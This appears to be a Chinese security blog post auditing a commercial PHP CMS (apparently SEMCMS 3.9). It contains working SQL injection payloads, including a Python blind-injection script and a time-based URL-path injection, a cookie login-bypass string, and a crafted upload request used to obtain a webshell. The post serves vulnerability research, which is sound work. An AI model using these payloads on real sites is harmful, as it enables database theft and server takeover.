某新版本商貿系統的代碼審計
一、前言
起源于社團大佬發出的一張圖片,最近沒事就練一下代碼審計吧。然后電腦壞了,借了一臺win11的,湊合著用吧。
二、SQL注入
這個CMS的SQL注入挺多的,我就寫一下前臺利用吧。
第一處
我們直接看一下他寫的waf
include_once "class.phpmailer.php";
// 防sql注入
if (isset($_GET)){$GetArray=$_GET;}else{$GetArray='';} //get
foreach ($GetArray as $value){ //get
verify_str($value);
}
function inject_check_sql($sql_str) {
return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
}
function verify_str($str) {
if(inject_check_sql($str)) {
exit('Sorry,You do this is wrong! (.-.)');
}
return $str;
}
邏輯比較簡單,利用正則,所有通過 GET 傳參得到的參數經過verify_str函數調用inject_check_sql函數進行參數檢查過濾,如果匹配黑名單,就退出。子查詢語句被禁用了不能有單引號(當SQL的變量包被單引號括起來時不能用單引號閉合)沒有辦法繞過空格但是這個地方很明顯黑名單過濾不嚴格,而且沒有對POST方法進行限制,這樣的話我們直接找利用POST方法傳參的地方進行構造。

if (isset($_POST["languageID"])){$Language=test_input(verify_str($_POST["languageID"]));}else{$Language=verify_str($Language);}
但是又有test_input函數進行限制。
function test_input($data) {
$data = str_replace("%", "percent", $data);
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,ENT_QUOTES);
return $data;
}
具體實現四個功能
- 將%替換為
percent - trim() 函數移除字符串兩側的空白字符或其他預定義字符,比如
/t(制表符),/n(換行),/xb(垂直制表符),/r(回車),(空格)。功能除去字符串開頭和末尾的空格或其他字符。函數執行成功時返回刪除了string字符串首部和尾部空格的字符串,發生錯誤時返回空字符串("")。如果任何參數的值為NULL,Trim()函數返回NULL`。 stripslashes()刪除反斜杠(不能使用反斜杠轉義SQL語句中的單引號或雙引號)- html轉義
明確了這些,剩下的就比較簡單了,在任意包含web_inc.php的頁面在languageID處構造sql注入語句,以POST方式進行傳參,就可以實現。
ascii substr等函數以及大于號小于號并沒有被過濾,我們可以盲注測試一下(構建CMS的時候已經知悉數據庫名字了,我們直接從相對應ascii進行測試)
ID = 10 and ascii(substr((database()),1,1))>110
或者是
languageID = 2 and ascii(substr(database(),1,1))^109
附一份腳本:
import requests
url = "http://localhost"
database=""
for i in range(1,6):
for j in range(97,127):
payload = "1 and ascii(substr(database(),{i},1))^{j}".format(j=j,i=i)
data = {"languageID":payload}
#print(payload)
c=requests.post(url=url,data=data).text
if "Empty!" in c:
database+=chr(j)
print(database)
三、第二處
$web_urls=$_SERVER["REQUEST_URI"]; //獲取 url 路徑
$web_urls=explode("/", $web_urls);
$urlml=web_language_ml(@$web_urls[1],@$web_urls[2],$db_conn); // 大寫的問號。
跟進web_language_ml方法:
function web_language_ml($web_urls1,$web_urls2,$db_conn){
$query=$db_conn->query("select * from sc_language where language_url='$web_urls1' or language_url='$web_urls2' and language_open=1");
if (mysqli_num_rows($query)>0){
$query=$db_conn->query("select * from sc_language where language_url='$web_urls1' or language_url='$web_urls2' and language_open=1");
$row=mysqli_fetch_assoc($query);
$Urlink=array('url_link'=>$row['language_url'],'url_ml'=>"../",'ID'=>$row['ID']);
}else{
$query=$db_conn->query("select * from sc_language where language_mulu=1 and language_open=1");
$row=mysqli_fetch_assoc($query);
$Urlink=array('url_link'=>"",'url_ml'=>"./",'ID'=>$row['ID']);
}
return $Urlink;
}
可以看到$web_urls會被放入數據庫語句執行,由于$web_urls獲取沒有經過過濾函數,所以可以確定存在SQL注入。但是某些特殊字符在GET傳參時,被url編碼了,比如雙引號,大于號小于號,不過這個地方單引號沒有被過濾,可以閉合;而且空格也會被處理,%0a%ob也會被認為字符串,/**/的方法也不行。
我們可以嘗試這樣構造:
/index.php/'or(sleep(3))or'
完整SQL語句:
/index.php/1’or+if(substr((select+min(table_name)from(information_schema.tables)where+table_schema=(database())&&table_name!=’sc_banner’),1,1)>’a’,sleep(15),1)#
四、SQL注入繞過登錄
function checkuser($db_conn){ //判斷用戶是否登陸
$cookieuseradmin=@verify_str(test_input($_COOKIE["scuseradmin"]));
$cookieuserpass=@verify_str(test_input($_COOKIE["scuserpass"]));
$query=$db_conn->query("select * from sc_user where user_admin='$cookieuseradmin' and user_ps='$cookieuserpass'");
if (mysqli_num_rows($query)>0){
$row=mysqli_fetch_assoc($query);
return $row['user_qx'];
}else{
echo "alert('賬號密碼不正確重新登陸!');top.location.href='index.html';";
exit;
}
}
獲取Cookie中的用戶名密碼構成sql語句,以單引號格式進行拼接,我們可以惡意構造
select * from sc_user where user_admin='111\' and user_ps='or 1#'
此時,原語句中的SQL單引號被轉義,同時編輯cookiescuseradmin和scuserpass的值
五、后臺文件上傳+Getshell
制作一份php內容的圖片

在后臺管理頁面添加此照片

BurpSuite攔截進行修改
POST /SEMCMS3.9/OSWttq_Admin/SEMCMS_Upfile.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------3369516516527364944820946580 Content-Length: 830 Origin: http://localhost Connection: close Referer: http://localhost/SEMCMS3.9/OSWttq_Admin/SEMCMS_Upload.php?Imageurl=../Images/prdoucts/&filed=images_url&filedname=forms Cookie: scusername=%E6%80%BB%E8%B4%A6%E5%8F%B7; scuseradmin=Admin; scuserpass=c4ca4238a0b923820dcc509a6f75849b Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 -----------------------------3369516516527364944820946580 Content-Disposition: form-data; name="wname" 111 -----------------------------3369516516527364944820946580 Content-Disposition: form-data; name="file"; filename="test.jpg" Content-Type: image/jpeg -----------------------------3369516516527364944820946580 Content-Disposition: form-data; name="imageurl" ../Images/prdoucts/ -----------------------------3369516516527364944820946580 Content-Disposition: form-data; name="filed" images_url -----------------------------3369516516527364944820946580 Content-Disposition: form-data; name="filedname" forms -----------------------------3369516516527364944820946580 Content-Disposition: form-data; name="submit" Submit -----------------------------3369516516527364944820946580--
在我們重命名的時候修改重命名文件為111.jpg.php:進行保存,這是我們看后臺保存圖片已經寫入,但是沒有數據。第二次提交,提交同樣的圖片,這一次我們修改上傳文件名為test.jpg<<<
首先是為什么能成功解析成php文件?
if (test_input($_POST["wname"])!==""){//自定義文件名
$newname=test_input($_POST["wname"]).".".end($uptype); //新的文件名
我覺得這個地方能夠上傳成功與文件名命名格式有關,眾所周知,英文狀態下冒號是不允許存在的,應該是這個地方產生了截斷,導致后面的.jpg沒有被拼接上。但是我不太明白一個地方就是怎么將php寫入的,于是全局搜索file_put_contents,只有3處使用,相對比較可疑的是:
function Mbapp($mb,$lujin,$mblujin,$dirpaths,$htmlopen){
if ($htmlopen==1){$ml="j";}else{$ml="d";}
$template="index.php,hta/".$ml."/.htaccess"; //開始應用模版
$template_mb=explode(",",$template);//以,分割為數組
for($i=0;$i
$template_o = file_get_contents($mblujin.'Templete/'.$mb.'/Include/'.$template_mb[$i]);
$templateUrl = $lujin.str_replace("hta/".$ml."/","", $template_mb[$i]);
$output = str_replace('<{Template}>', $mb, $template_o);
$output = str_replace('<{dirpaths}>', $dirpaths, $output);
file_put_contents($templateUrl, $output);
}
}
這個地方的$mb是可控的

這里file_get_contents()和str_replace()就是從模板目錄下提取index.php和.htaccess文件然后替換<{Template}>寫入到主目錄下
理論上這個地方也可以Getshell,但這個地方我還是不太明白到底test.jpg<<<是如何寫入的,希望有大佬能教教我~